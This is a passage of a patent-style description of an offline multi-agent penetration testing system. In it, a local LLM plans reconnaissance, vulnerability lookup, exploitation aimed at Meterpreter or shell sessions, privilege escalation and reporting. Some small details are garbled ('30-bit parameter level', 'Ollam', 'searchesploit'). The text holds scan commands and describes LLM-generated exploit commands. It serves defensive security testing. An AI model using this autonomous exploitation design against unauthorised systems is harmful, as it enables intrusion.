An offline multi-agent based automated penetration testing method and system

Abstract

The application belongs to the technical field of network security, and discloses an automatic penetration testing method based on offline multi-agent, which comprises the following steps: step 1: initialization; a user inputs a target IP or domain name, a global context is initialized, and a current stage is set as init; step 2: planning decision; a planner reads compressed context, calls an offline LLM, and outputs the following format: step 3: agent execution; step 4: iteration; returning to step 2, the planner makes a decision again according to the updated context. In the application, a large language model (Qwen3-32B) and all penetration testing tools, vulnerability libraries and experience managers are deployed on a local server, so that the whole-process automatic penetration testing from target reconnaissance to vulnerability exploitation can be completed without any internet connection.

Description

Technical Field

[0001] This invention belongs to, but is not limited to, the field of network security technology, and particularly relates to an automated penetration testing method and system based on offline multi-agent technology. Background Technology

[0002] With the rapid development of information technology, cybersecurity issues are becoming increasingly prominent. Penetration testing, as an important means of assessing the security of information systems, discovers vulnerabilities and weaknesses by simulating the behavior of attackers. Traditional penetration testing mainly relies on manual execution by human experts, which suffers from problems such as low efficiency, incomplete coverage, and dependence on expert experience.

[0003] In recent years, the application of artificial intelligence technology in penetration testing has gradually emerged. Existing technologies can be mainly divided into the following three categories:

[0004] (1) Automated tools based on rule engines

[0005] These tools perform matching scans based on known vulnerability rule bases; representative products include Nessus, OpenVAS, and AWS. They can perform batch scanning tasks for known vulnerabilities, but still lack intelligent decision-making capabilities, cannot handle unknown vulnerabilities, and have a high false positive rate.

[0006] (2) Penetration testing scheme based on cloud-based large model

[0007] These solutions utilize cloud-based large language models such as GPT-4 for vulnerability analysis, command generation, and decision-making. Taking PentestAgent as an example, it employs a four-agent architecture (reconnaissance, search, planning, and execution), completing the entire process from target scanning to vulnerability exploitation by calling the GPT-4 API. However, it relies on OpenAI services, requiring the sending of a prompt containing sensitive information such as the target IP, port, and service version to the cloud for each test. Representative technologies include PentestAgent and RapidPen. While improving the level of intelligence, these solutions all suffer from reliance on cloud models, high data privacy risks, and high costs, making them unsuitable for use in isolated intranet environments such as government, finance, and military sectors.

[0008] (3) Knowledge graph-based penetration testing assistance

[0009] These technologies utilize vulnerability information in knowledge graphs to provide question-and-answer assistance, as exemplified by patent CN116303976B (Penetration Testing Question-Answering Method, System, and Medium Based on Network Security Knowledge Graph). However, they only provide information retrieval and do not directly participate in penetration testing execution, nor do they possess autonomous learning capabilities. The most closely related prior art to this invention is an automated penetration testing scheme based on a large cloud-based model, with a typical system architecture involving a multi-agent system calling a cloud-based LLM.

[0010] However, such solutions rely on an internet connection, making them completely unusable in isolated network environments. Furthermore, the target asset information must be uploaded to a third-party server, posing serious risks of data leakage and ongoing costs.

[0011] (1) It must rely on an internet connection and cannot run in an isolated network environment.

[0012] Existing cloud-based penetration testing solutions based on large models (such as PentestAgent and RapidPen) require internet access to cloud APIs like GPT-4. This renders them completely unusable in isolated internal network environments such as government, finance, and military sectors. Taking PentestAgent as an example, each testing step requires sending requests to the OpenAI server, including sensitive data such as the target IP address, port scan results, and service version information. More seriously, in certain special scenarios (such as military networks and critical infrastructure), any external network connection is strictly prohibited, rendering existing technologies useless in these situations.

[0013] (2) Uploading target asset information to the cloud poses a serious risk of data leakage.

[0014] Existing technologies require uploading sensitive target information (such as IP address, port, service version, vulnerability details, etc.) to third-party cloud servers for processing during penetration testing. This information has extremely high intelligence value for attackers. In PentestAgent's implementation, all scan results and vulnerability descriptions are sent to OpenAI as part of the prompt, posing a risk of data storage, analysis, or even leakage. Furthermore, according to laws and regulations such as the Cybersecurity Law, Data Security Law, and Personal Information Protection Law, operators of critical information infrastructure must ensure that data does not leave the country or be leaked during security testing. Clearly, existing technical solutions cannot meet these compliance requirements.

[0015] (3) Lacking self-learning ability, static vulnerability databases cannot adaptively learn from testing practices.

[0016] Most existing automated penetration testing tools use static vulnerability databases (such as NVD, CVE, etc.). These databases require regular manual updates and only cover known vulnerabilities. Static databases cannot respond promptly to newly emerging or customized vulnerabilities. For example, CN116303976B (Penetration Testing Question-Answering Method, System, and Media Based on Network Security Knowledge Graph) has a fixed knowledge graph once constructed and cannot be automatically updated and optimized based on actual testing experience. Furthermore, existing technologies lack the ability to accumulate and reuse successful / failed testing experiences; each test starts from scratch, failing to leverage historical testing experience to improve efficiency and success rate.

[0017] (4) Cloud API calls generate continuous costs, resulting in poor long-term economic viability.

[0018] Existing cloud-based solutions incur API call costs for each penetration test. For example, with RapidPen, the cost of a single API call is approximately $0.3-$0.6 (about RMB 2.1-4.3). For scenarios requiring frequent security testing (such as DevSecOps processes), the cumulative cost can be substantial. Furthermore, as the scale and complexity of tests increase, the number of API calls and costs will rise further, lacking predictability due to a lack of fixed costs.

[0019] In view of the shortcomings of the prior art, the present invention aims to solve the following technical problems:

[0020] 1) Enable intelligent penetration testing in a completely offline environment, eliminating reliance on cloud models and networks;

[0021] 2) Ensure data privacy and security during the penetration testing process to prevent the leakage of sensitive asset information;

[0022] 3) Enable the penetration testing system to have self-learning capabilities, continuously optimize from successful / failure experiences, and break through the limitations of static vulnerability databases;

[0023] 4) Reduce the long-term operating costs of penetration testing, get rid of dependence on commercial APIs, and provide a stable offline operation solution. Summary of the Invention

[0024] To address the shortcomings of existing technologies, this invention provides an automated penetration testing method and system based on offline multi-agent systems.

[0025] This invention is implemented as follows: an automated penetration testing method based on offline multi-agent systems, which includes the following steps:

[0026] Step 1: The planner obtains the compressed global context; the planner calls the offline large language model and generates a decision instruction based on the compressed global context. The decision instruction includes the next agent type field, the decision reason field, and the confidence field.

[0027] Step 2: When the next agent type field indicates a reconnaissance agent, the reconnaissance agent performs port scanning and service identification, and updates the reconnaissance results to the global context.

[0028] Step 3: When the next agent type field indicates a vulnerability retrieval agent, the vulnerability retrieval agent traverses the open ports and corresponding services, queries vulnerability knowledge sources, and updates the vulnerability list to the global context.

[0029] Step 4: When the next agent type field indicates an exploit execution agent, the exploit execution agent attempts to exploit the candidate vulnerabilities in the vulnerability list and feeds back the exploit results to the experience manager.

[0030] Step 5: The planner obtains the updated compressed global context again and generates new decision instructions until the next agent type field indicates a null value.

[0031] Furthermore, before the planner obtains the compressed global context, it also includes: a context compressor performing key entity extraction on the original scan result text and vulnerability description text, the key entities including IP address, port number, service name and version number, and generating a structured digest to reduce the number of tokens.

[0032] Furthermore, the planner is also used to execute exception handling logic: when the reconnaissance agent, vulnerability retrieval agent, or utilization execution agent returns an execution failure result, the planner decides to execute a retry, schedule an alternative agent, or skip the current subtask based on the error information in the failure result.

[0033] Furthermore, when the exploitation agent attempts to perform an exploitation, it first retrieves a command template that matches the current target service and vulnerability identifier in the experience manager, fills in the target address parameter and the listening host address parameter, and then executes it; when no matching command template is found, it calls the offline large language model to generate an exploitation command based on the vulnerability description.

[0034] Furthermore, after receiving the utilization result, the experience manager updates the success count field or failure count field in the experience record corresponding to the command template used, and recalculates the success rate weight field, which is obtained by dividing the success count by the sum of the success count and the failure count.

[0035] Another objective of this invention is to provide a method for managing and reusing penetration testing experience, comprising:

[0036] Maintain an experience record database, with each experience record including a service name field, a version field, a vulnerability identifier field, a command template field, and a success rate weight field;

[0037] Receive a query request from the exploit execution agent, the query request carrying the target service name and target version;

[0038] Retrieve experience records that match the service name field and version field from the experience record library, and return the command template from the matching experience record to the vulnerability exploit execution agent;

[0039] The exploitation result is received from the exploitation agent, which includes the identifier of the command template used and an indication of whether the execution was successful or failed.

[0040] Based on the indication of successful or failed execution, update the success count field or failure count field of the corresponding experience record, and recalculate the success rate weight field.

[0041] Furthermore, the experience record library also includes a last-used timestamp field; the method further includes: performing data cleaning on the experience records based on the last-used timestamp field, and removing records that have not been used beyond a preset time threshold.

[0042] Furthermore, the method also includes: receiving initial seed data, the initial seed data including a preset service name, version and corresponding command template, and importing the initial seed data into the experience record library.

[0043] Furthermore, the initial value of the success rate weight field is set to zero in the empty database startup mode; when there are no matching experience records, the method triggers the process of generating exploit commands from the offline large language model.

[0044] Furthermore, the exploit agent executes exploit commands in an isolated sandbox environment and captures the output of the execution process; when the captured output contains Meterpreter session characteristics or command shell session characteristics, the exploit is deemed successful.

[0045] Based on the above technical solutions and the technical problems solved, the advantages and positive effects of the technical solution to be protected by this invention are as follows:

[0046] First, while retaining the original experimental, cost, and performance data, the technical logic and synergistic effects have been further strengthened:

[0047] This invention targets high-security isolation scenarios such as government, finance, military, energy, and critical information infrastructure, constructing a fully offline, large language model-driven, multi-agent automated penetration testing system. The system uses the Ollam framework to deploy a 4-bit quantized Qwen3-32B model locally. Model files and dependent libraries are pre-downloaded. Nmap, WhatWeb, SearchSploit local images, a vulnerability database, a global context manager, and an experience manager are all deployed on a local server. During operation, target reconnaissance, port and service identification, vulnerability retrieval, exploit verification, and report generation can be completed without internet access. All target IPs, ports, service versions, vulnerability details, exploit commands, and test records are stored in a local SQLite database. Model inference is also performed on the local GPU, eliminating the need to upload prompts or asset information to third-party cloud servers. Therefore, this invention avoids the problem that existing solutions such as PentestAgent and RapidPen, which rely on GPT-4 cloud APIs, cannot run in physically isolated networks, and reduces the risk of test data being stored, analyzed, or leaked by external platforms. It ensures that data sovereignty is always in the user's control and is more suitable for closed network environments with strict confidentiality, data security, and compliance management requirements.

[0048] This invention employs a multi-agent collaborative architecture based on the ReAct paradigm. The planner, using a compressed global context, invokes a local large language model for reasoning, dynamically outputting the next agent to be executed: the reconnaissance agent, the vulnerability retrieval agent, the exploit agent, or the reporting agent, along with corresponding confidence levels. Each agent shares target state, open ports, service fingerprints, candidate vulnerabilities, historical attempt results, and the current testing phase through a global context manager, forming a closed-loop decision-making process of "reconnaissance—analysis—exploitation—feedback—reconnaissance." When a vulnerability exploitation fails, the system can automatically switch to other candidate vulnerabilities, adjust command parameters, or replenish reconnaissance information, rather than terminating the task according to fixed rules. Compared to traditional scanners like Nessus and OpenVAS, which primarily operate based on preset rules and static task flows, this invention can continuously adjust the test path based on real-time test results, simulating the analysis and decision-making process of penetration testers in complex environments, improving the automation, environmental adaptability, and vulnerability verification efficiency of multi-stage penetration testing tasks.

[0049] This invention also includes a dynamic experience manager that structurally stores the service name, software version, vulnerability number, command template, number of successes, number of failures, and experience weight involved in each exploitation attempt. The experience weight is calculated using the formula weight = success_count / (success_count + failure_count), allowing the system to prioritize exploitation schemes with higher success probabilities when encountering similar or identical service environments in subsequent attempts. Newly discovered successful exploitation methods are automatically added to the experience database without requiring repeated manual configuration, thus overcoming the limitation of traditional static vulnerability databases or fixed knowledge graphs that cannot be continuously updated based on actual test results. After 10 repeated tests in a simulated test environment, the exploitation time for the same vulnerability can be reduced by more than 40%, indicating that this dynamic experience accumulation mechanism can continuously improve strategy selection efficiency with the increase in the number of tests. Simultaneously, this invention designs an adaptive context compressor that extracts key fields such as target IP, current stage, open ports, vulnerability title, and most recent exploitation attempts from the original scan results, vulnerability list, and exploitation records, and organizes them into compact JSON. If the input still exceeds the model window, the number of retained entries is dynamically reduced or the text length is shortened. Experimental results show that the number of input tokens can be reduced by more than 65% after compression, the retention rate of key decision information reaches 95%, the planner decision accuracy remains above 90%, and the local model with a context window of 32k can also handle long-process penetration testing tasks.

[0050] To address the challenges posed by the widespread use of JavaScript dynamic rendering, single-page applications (SPAs), and asynchronous interfaces in modern web applications, this invention further integrates a browser automation module based on Playwright. This module extracts dynamic API interfaces by listening for XHR and Fetch requests, automatically fills and submits page forms, captures subsequent responses and hidden interfaces, and executes XSS Payload and monitors pop-up events in a headless browser. This improves the accuracy of vulnerability verification and reduces false positives caused by relying solely on rule matching. This module can simulate real user operations, overcoming the shortcomings of traditional static crawlers in covering dynamic pages, complex interaction processes, and hidden interfaces. Regarding operating costs, this invention uses a 4-bit quantized Qwen3-32B model, which can run on consumer-grade GPUs such as the RTX 3090 with 24GB of VRAM. Based on a hardware investment of approximately 8000 yuan, a lifespan of 3 years, and 50 tests per month, the amortized cost per hardware call is approximately 4.44 yuan. Furthermore, the system does not incur per-call API call fees. Compared to cloud-based solutions with a single call cost of approximately $0.3-0.6 (about 2.1-4.3 yuan), based on 50 calls per month, the annual API fee is approximately 1260-2580 yuan, accumulating to approximately 3780-7740 yuan over three years. As testing frequency increases, the investment in local hardware can be continuously amortized. Once the cumulative number of tests exceeds 100, the comprehensive advantages of this invention in terms of data security, operational stability, and long-term economic efficiency become even more apparent.

[0051] Second, a comprehensive comparison with existing technologies is shown in the table below:

[0052]

[0053] Through systematic technological innovation, this invention achieves the following beneficial technical effects:

[0054]

[0055] Third, as supporting evidence of the inventiveness of this invention, it is also reflected in the following important aspects:

[0056] (1) The expected benefits and commercial value of the technical solution of this invention after transformation are as follows:

[0057] This invention can directly replace high-cost cloud-based penetration testing services and is suitable for intranet isolation scenarios with strict compliance requirements for network security, such as government, finance, military, and critical information infrastructure.

[0058] In terms of commercial value, compared to cloud solutions (such as RapidPen) which require an API call fee of $0.3-$0.6 per test, this invention uses a one-time hardware deployment (consumer-grade GPU, approximately 8,000 RMB), with no ongoing costs for subsequent testing. For government and enterprise organizations that need to perform more than 50 security tests per month, costs can be reduced by more than 50% within 3 years, demonstrating significant long-term economic advantages.

[0059] In terms of market expectations, as regulations such as the Cybersecurity Law, Data Security Law, and Personal Information Protection Law impose increasingly stringent compliance requirements on data not leaving the country and not being leaked, intelligent penetration testing tools deployed offline will become a necessity for government and enterprise intranets. This invention fills a product gap in this field and has good industrialization prospects and commercialization capabilities.

[0060] (2) The technical solution of this invention fills a technical gap in the industry both domestically and internationally:

[0061] Currently, automated penetration testing tools at home and abroad are mainly divided into two categories: one is traditional scanners based on rule engines (such as Nessus and OpenVAS), which lack intelligent decision-making capabilities; the other is cloud-based large model solutions (such as PentestAgent and RapidPen), which have intelligent decision-making capabilities but must be connected to the network to call APIs and cannot be deployed in isolated network environments.

[0062] This invention is the first to systematically integrate an offline-deployed large language model (30-bit parameter level), a multi-agent collaborative framework, a dynamic experience manager, and context compression technology to construct an automated penetration testing system capable of completing the entire process from reconnaissance to exploitation within a physically isolated network. A search revealed no similar technical solutions to date, and this invention fills the technological gap in intelligent penetration testing within high-security, isolated scenarios.

[0063] (3) The technical solution of the present invention solves a technical problem that people have long wanted to solve but have never been able to solve successfully:

[0064] In the field of cybersecurity, how to achieve intelligent and automated penetration testing in a completely isolated intranet environment has always been a technical problem that those skilled in the art have long desired to solve but have never been able to achieve.

[0065] For a long time, the intelligence of automated penetration testing has relied on the inference capabilities of large cloud-based models, which fundamentally contradicts its essential characteristic of requiring internet access to call APIs. The internal networks of critical information infrastructures such as government, finance, and military strictly prohibit any external network connections, rendering intelligent penetration testing solutions completely unsuitable for these scenarios. Attempts have been made in this field to address this issue by deploying small local models and simplifying decision-making logic, but these methods have all failed due to insufficient local model capabilities and the inability to handle long contextual information.

[0066] This invention, through collaborative innovation in three aspects—lightweight model deployment (4-bit quantization), adaptive context compression, and dynamic experience accumulation—achieves for the first time a 30B model can run completely offline on consumer-grade hardware, enabling it to stably handle long-running penetration testing tasks. This solution successfully resolves the long-standing contradiction that "intelligent decision-making requires large models, and large model deployment requires network connectivity," providing a feasible technical path for automated penetration testing in isolated network environments.

[0067] (4) The technical solution of the present invention overcomes technical bias:

[0068] In the field of automated penetration testing, there has long been a technological bias that holds that "intelligent penetration testing driven by large language models must rely on cloud APIs and cannot run effectively in offline environments." This bias stems from the inherent perception of the contradiction between model capabilities (inference accuracy, context window) and hardware resources (GPU memory, computing power), leading existing research to generally tend to call large cloud models while ignoring the possibility of offline deployment.

[0069] This invention overcomes the aforementioned technical biases through systematic technological innovation: on the one hand, it employs 4-bit quantization technology to deploy the 30B model on consumer-grade GPUs, breaking the prejudice that "large models must be on high-end servers"; on the other hand, it designs an adaptive context compressor, reducing the number of original context tokens by more than 65% while retaining 95% of key information, breaking the prejudice that "local models have limited windows and cannot handle long-running tasks." Experimental verification shows that the offline-deployed 30B model achieves a decision accuracy rate of over 90% in penetration testing tasks, proving the feasibility and effectiveness of offline intelligent penetration testing. Attached Figure Description

[0070] Figure 1 This is a flowchart of an automated penetration testing method based on offline multi-agent provided by an embodiment of the present invention;

[0071] Figure 2 This is an architecture diagram of an automated penetration testing system based on offline multi-agent provided by an embodiment of the present invention;

[0072] Figure 3 This is a flowchart of the multi-agent collaborative workflow provided in an embodiment of the present invention;

[0073] Figure 4 This is a schematic diagram comparing context compression before and after, provided in an embodiment of the present invention;

[0074] Figure 5 This is a schematic diagram of the dynamic experience manager weight update provided in an embodiment of the present invention;

[0075] Figure 6 This is a comparison chart of the number of tokens before and after context compression provided in an embodiment of the present invention;

[0076] Figure 7 This is a graph showing the convergence and utilization time variation of empirical weights provided in an embodiment of the present invention. Detailed Implementation

[0077] To make the objectives, technical solutions, and advantages of this invention clearer, the invention will be further described in detail below with reference to embodiments. It should be understood that the specific embodiments described herein are merely illustrative and not intended to limit the invention.

[0078] In this invention, {target} represents the target IP address to be tested, and {lhost} represents the IP address of the attacking machine (i.e., the listening host). The meanings of the stage identifiers are as follows: init is the initialization stage identifier, recon_done is the reconnaissance stage completion identifier, search_done is the vulnerability retrieval stage completion identifier, and exploit_done is the exploit execution stage completion identifier. Meterpreter session refers to the Meterpreter session characteristics of the Metasploit framework, and Command shellsession refers to the system command shell session characteristics (such as / bin / bash or cmd.exe). weight_success_rate represents the success rate weight in the experience record, and success_count and failure_count represent the success count and failure count in the experience record, respectively.

[0079] like Figure 1 As shown in the figure, an automated penetration testing method based on offline multi-agent technology is provided by an embodiment of the present invention. The method includes the following steps:

[0080] S101, the planner obtains the compressed global context; the planner calls the offline large language model and generates a decision instruction based on the compressed global context, the decision instruction includes the next agent type field, the decision reason field, and the confidence field;

[0081] S102, when the next agent type field indicates a reconnaissance agent, the reconnaissance agent performs port scanning and service identification, and updates the reconnaissance results to the global context;

[0082] S103, when the next agent type field indicates a vulnerability retrieval agent, the vulnerability retrieval agent traverses the open ports and corresponding services, queries vulnerability knowledge sources, and updates the vulnerability list to the global context;

[0083] S104, when the next agent type field indicates an exploit execution agent, the exploit execution agent attempts to exploit the candidate vulnerabilities in the vulnerability list and feeds back the exploit results to the experience manager;

[0084] S105, the planner obtains the updated compressed global context again and generates new decision instructions until the next agent type field indicates a null value.

[0085] Before the planner provided in this embodiment of the invention obtains the compressed global context, it further includes: a context compressor performing key entity extraction on the original scan result text and vulnerability description text, wherein the key entities include IP address, port number, service name and version number, and generating a structured digest to reduce the number of tokens.

[0086] The planner provided in this embodiment of the invention is also used to execute exception handling logic: when the reconnaissance agent, vulnerability retrieval agent, or utilization execution agent returns an execution failure result, the planner decides to execute a retry, schedule an alternative agent, or skip the current subtask based on the error information in the failure result.

[0087] When attempting to exploit the vulnerability using the execution agent provided in this embodiment of the invention, the system first retrieves a command template that matches the current target service and vulnerability identifier in the experience manager, fills in the target address parameter and the listening host address parameter, and then executes it; if no matching command template is found, the system calls the offline large language model to generate an exploit command based on the vulnerability description.

[0088] After receiving the utilization result, the experience manager provided in this embodiment of the invention updates the success count field or failure count field in the experience record corresponding to the command template used, and recalculates the success rate weight field. The success rate weight is obtained by dividing the success count by the sum of the success count and the failure count.

[0089] Another objective of this invention is to provide a method for managing and reusing penetration testing experience, comprising:

[0090] Maintain an experience record database, with each experience record containing a service name field, a version field, a vulnerability identifier field, a command template field, and a success rate weight field;

[0091] Receive a query request from the exploit execution agent, the query request carrying the target service name and target version;

[0092] Retrieve experience records that match the service name field and version field from the experience record library, and return the command template from the matching experience record to the vulnerability exploit execution agent;

[0093] The exploitation result is received from the exploitation agent, and the exploitation result includes the identifier of the command template used and an indication of successful or failed execution.

[0094] Based on the indication of successful or failed execution, update the success count field or failure count field of the corresponding experience record, and recalculate the success rate weight field.

[0095] The experience record library provided in this embodiment of the invention also includes a last-use timestamp field; the method further includes: performing data cleaning on the experience records according to the last-use timestamp field, and removing records that have not been used beyond a preset time threshold.

[0096] The method provided in this embodiment of the invention further includes: receiving initial seed data, wherein the initial seed data includes a preset service name, version and corresponding command template, and importing the initial seed data into the experience record library.

[0097] The initial value of the success rate weight field provided in this embodiment of the invention is set to zero in the empty database startup mode; when there are no matching experience records, the method triggers the process of generating exploit commands from an offline large language model.

[0098] The present invention provides a method for using an execution agent to execute exploit commands in an isolated sandbox environment and capture the output of the execution process; when the captured output contains Meterpreter session characteristics or command Shell session characteristics, the exploit is determined to be successful.

[0099] like Figure 2 As shown in the figure, this embodiment of the invention provides an automated penetration testing method based on offline multi-agent systems, which includes the following steps:

[0100] Step 1: Initialization;

[0101] When the user inputs the target IP or domain name, the global context is initialized, and the current stage is set to init.

[0102] Step 2: Planning and Decision-Making;

[0103] The planner reads the compressed context, calls the offline LLM, and outputs in the following format:

[0104] {"next_agent":"reconnaissance agent|vulnerability search agent|exploitation execution agent|None","reason":"...","confidence":0.0-1.0};

[0105] Step 3: Agent execution;

[0106] If the output is a reconnaissance agent: the reconnaissance agent executes nmap -sS -p- -sV <target>The web port calls whatweb and browser automation, stores the results in the context, and updates the stage to recon_done;

[0107] If the output is a vulnerability retrieval agent: the vulnerability retrieval agent iterates through open ports and calls searchesploit-j for each service. <service> <version>Simultaneously, the experience manager is queried, merged and deduplicated, sorted by weight and stored in the context, and the stage is updated to search_done;

[0108] If the output exploits the execution agent: the execution agent iterates through candidate vulnerabilities, prioritizing the use of command templates in the experience manager, filling in parameters such as {target} and {lhost}. If no match is found, the LLM is called to generate a command based on the vulnerability description; the command is executed and the output is captured; if keywords such as Meterpreter session or Command shell session appear, success is determined; the result is fed back to the experience manager; the stage is updated to exploit_done;

[0109] If the output is None: the loop ends and the report generation process begins;

[0110] Step 4: Iteration;

[0111] Returning to step 2, the planner makes another decision based on the updated context.

[0112] Another objective of this invention is to provide an automated penetration testing system based on offline multi-agent technology, which is based on the aforementioned automated penetration testing method. The system includes:

[0113] The Global Context Manager is the information hub of the entire system, responsible for maintaining and managing all state information during the penetration testing process. Its main functions include: (1) Context information storage: maintaining a structured context information table, including fields such as target information (target_info), reconnaissance results (scan_results), vulnerability list (vulnerabilities), penetration records (exploit_records), error logs (errors), and current stage identifier (current_stage), and using an SQLite database for persistent storage to ensure that the test progress is not lost after the system restarts; (2) Information compression and transmission: a built-in context compressor automatically compresses long texts such as original scan results and vulnerability descriptions before transmitting information to the planner, extracts key information and generates structured summaries, effectively reducing the number of tokens transmitted to the large language model; (3) State synchronization and sharing: ensuring that all agents can access the latest global state in real time. When any agent completes its task and updates the context, other agents can obtain the latest information in the next decision cycle, realizing true collaborative work.

[0114] The planner is the "brain" of the entire system, responsible for dynamically deciding the next action based on the current global context. Its main functions include: (1) Stage identification and task decomposition: After receiving the target input by the user, the complex penetration test process is decomposed into several executable sub-tasks such as reconnaissance, vulnerability retrieval, exploitation, post-penetration and report generation, and the execution order of each sub-task is determined; (2) Agent scheduling decision: At each decision point, compressed context information from the global context manager is received, and the next action instruction of which agent is called is output in combination with the built-in task priority rules and historical experience; (3) Exception handling and retry mechanism: When an agent fails to execute or returns an abnormal result, the error information determines whether to retry the current task, try an alternative solution, or skip the task and enter the next stage; (4) Termination condition judgment: Monitor the test process and determine whether the test termination conditions are met, including successfully obtaining target permissions, all preset vulnerability exploitation attempts have failed, reaching the maximum test time or budget limit, and the user manually issuing a termination instruction; (5) Adaptive planning based on attack chain state machine: In order to replace the simple linear stage transition, the planner has built-in attack chain state machine, and the state nodes include "unauthorized access", "user-level permissions", "system-level permissions", etc. Each time the planner makes a decision, it not only determines the next action but also assesses its current position in the attack chain and dynamically adjusts the attack strategy accordingly. For example, when the assessment is at the "unauthorized access" node and vulnerability retrieval is complete, the planner will prioritize scheduling the execution agent to attempt to breach the privilege boundary; when the assessment is at the "user-level privilege" node, the planner will prioritize scheduling the vulnerability retrieval agent to search for privilege escalation vulnerabilities. This mechanism achieves a leap from a fixed linear process to nonlinear adaptive planning, enabling the system to simulate the layer-by-layer attack thinking of human penetration testing experts.

[0115] The reconnaissance agent is the "eyes" and "ears" of the system, responsible for collecting information about the target system. Its main functions include: (1) Host discovery: by calling network scanning tools such as Nmap, executing nmap -sS -sV -O -p- --open<target_ip> Commands, using TCP SYN half-open scanning to identify the target host's operating system type, open ports and services and version information running on the ports; (2) Web information detection: when the target host is identified to be running Web services, further call tools such as WhatWeb to detect the specific technology stack of the Web server, including server type, content management system, front-end framework and programming language; (3) Result formatting and reporting: parse and structure the collected raw scan results, extract key network asset information, and report to the global context manager in structured data formats such as JSON; (4) Information compression: before reporting the complete scan results, the context compressor can be called to compress a large amount of raw data with lossy or lossless compression to generate concise summary information to reduce the amount of data in the global context.

[0116] The vulnerability retrieval agent is the system's "information analyst," responsible for retrieving and confirming potential vulnerabilities from the knowledge base and model reasoning based on reconnaissance results. Its main functions include: (1) Retrieval based on the local knowledge base: First, query the information pre-installed in the local vulnerability database (such as the ExploitDB local mirror), which contains a large number of known vulnerabilities, such as CVE numbers, vulnerability descriptions, affected software versions, and exploitability assessments; (2) Vulnerability reasoning based on the model: For vulnerabilities not included in the local knowledge base or customized vulnerabilities for specific target environments, call the locally deployed large language model for analysis, and infer possible unknown or zero-day vulnerabilities based on the common vulnerability pattern knowledge learned during its training, combined with the reconnaissance results; (3) Vulnerability verification and screening: Perform a preliminary complexity assessment and exploitability classification on the retrieved and inferred vulnerability list, mark high-value and high-probability vulnerabilities, and report the screened vulnerability information to the global context manager.

[0117] The execution agent is the "hands" of the system, responsible for performing the actual penetration operation and is the key link in verifying the exploitability of vulnerabilities. Its working mode includes: (1) Priority attempt based on experience library: After receiving the vulnerability list reported by the vulnerability retrieval agent, it first queries the dynamic experience manager to check whether there are successful exploit records for this type of vulnerability or target environment. If there is a high-weight template script, it will be reused first; (2) Model generation backup plan: If there is no matching template in the experience library or the template attempt fails, the local large language model is called to dynamically generate customized vulnerability exploit code or command based on the vulnerability description, target environment information and built-in security operation guide; (3) Security sandbox execution: All exploit attempts are executed in an isolated sandbox environment. A process is started to execute the generated command or script and its execution process is strictly monitored to prevent damage to the test host or other non-target systems. The execution result is captured and reported; (4) Result feedback: The detailed results of each penetration attempt are reported to the global context manager. These results will not only update the current test status, but also become an important data source for the dynamic experience manager to learn.

[0118] The Dynamic Experience Manager is the core of the system's "get smarter with use" feature. It is a dynamically updated database used to store and manage experience data during the penetration testing process. Its main components and functions include: (1) Experience record structure: Each experience record is a structured data unit. The core fields include unique identifier (record_id), service name (service_name), version (version), vulnerability identifier (vulnerability_id), command template (command_template), number of successful executions (success_count), number of failed executions (failure_count), success rate weight (weight_success_rate), and last used timestamp (last_used_timestamp); (2) Dynamic weight update mechanism: The counter and weight of the relevant record are automatically updated after each exploitation attempt. The weight calculation logic is weight_success_rate = success_count / (success_count + (failure_count) Through quantitative evaluation of historical success rate, the most effective attack path is intelligently identified and prioritized for future attempts; (3) Intelligent retrieval and matching: When preparing an attack using the execution agent, the experience manager retrieves the most relevant experience records and recommends them by performing fuzzy matching with the current target environment (service, version, vulnerability type); (4) Data persistence and backup: Data is stored in a local SQLite database to ensure persistence and security, while supporting regular backups and allowing the import of initial seed data to accelerate the initial learning process of the system.

[0119] Context compressors are a crucial component for ensuring efficient interaction across the entire system, particularly between the planner and the large language model. Because the input length of the large language model is limited, and long contexts increase computational overhead, effective information compression is essential. Its specific implementation includes: (1) Layered compression strategy: differentiated processing according to the importance of information, retaining the complete content of core decision information (such as target, current stage, key vulnerability), and summarizing or truncating detailed scan logs and lengthy error outputs; (2) Key information extraction: extracting key entities and attributes such as IP address, port number, service name, version number and error code from the original unstructured text through regular expression matching and key string recognition, and removing irrelevant format characters and redundant descriptions; (3) Structured summary generation: reorganizing the extracted key information into a structured summary using natural language processing technology, for example, organizing the Nmap scan results into standard formats such as "target IP: XXX, open port: 80 (http), 22 (ssh)"; (4) Adaptive length control: built-in adaptive truncation mechanism, if the JSON string after initial compression still exceeds the model token limit, gradually reducing the number of retained vulnerabilities and shortening the vulnerability title length until the constraints are met.

[0120] The browser automation module, based on the Playwright framework, can simulate real user behavior and execute JavaScript to obtain dynamic APIs and page elements that traditional static crawlers cannot capture. Its functions include: (1) Dynamic interface extraction: When the reconnaissance agent discovers the web port, it accesses the target webpage and listens for network requests (XHR / Fetch), automatically records all dynamically initiated API requests (including URL, request method, parameters, etc.), and adds them to the API list in the global context; (2) XSS vulnerability verification: For injection points suspected of having cross-site scripting vulnerabilities, it executes the payload in the headless browser and monitors alert, confirm, and other pop-up events or console outputs to accurately determine whether XSS has been successfully triggered, greatly reducing the false alarm rate; (3) Automatic form submission and status capture: It automatically fills in form fields, simulates clicking the submit button, and captures the page response and network requests after submission to help discover hidden interfaces or privilege escalation vulnerabilities.

[0121] The reporting agent is responsible for integrating all information accumulated in the global context (target assets, vulnerability details, exploitation attempt records, key logs, etc.) into a structured penetration test report after the test is completed. Its functions include: (1) Data aggregation and cleaning: extracting all relevant data from the global context manager, removing redundant information and unifying the data format; (2) Report template generation: built-in multiple report templates (such as Markdown, HTML, PDF), and users can choose the appropriate template according to their needs; (3) Natural language description generation: calling the locally deployed large language model to automatically generate vulnerability principle descriptions, exploitation process descriptions and remediation suggestions based on vulnerability information and exploitation records, so that the report has good readability; (4) Report output: the final generated report can be saved as a local file or sent to a designated recipient via email, API, etc.

[0122] The experience base initialization module is designed to accelerate the performance of the system during startup and cold start phases by providing a flexible experience base initialization mechanism. Specifically, it includes: (1) Empty base startup: It supports building the experience base from scratch, relying entirely on the planner and the autonomous decision-making of each agent without any prior knowledge. Although the initial efficiency is low, the experience base will be built entirely based on the organization's actual test environment, with the highest degree of personalization; (2) Import initial seed data: Users can selectively import templates preset by experts or exported from other projects as initial seed data. When facing common technology stacks, it helps the system to have a high success rate in the early stages, significantly shortening the learning curve and improving testing efficiency.

[0123] Furthermore, the main functions of the global context manager include:

[0124] (1) Context information storage

[0125] The global context manager maintains a structured context information table, including but not limited to the following fields:

[0126] target_info: Target information, including the target IP address or domain name, a list of open ports, the services running on each port and their versions, etc.

[0127] scan_results: Reconnaissance results, storing detailed scan data returned by reconnaissance agents (such as Nmap, WhatWeb);

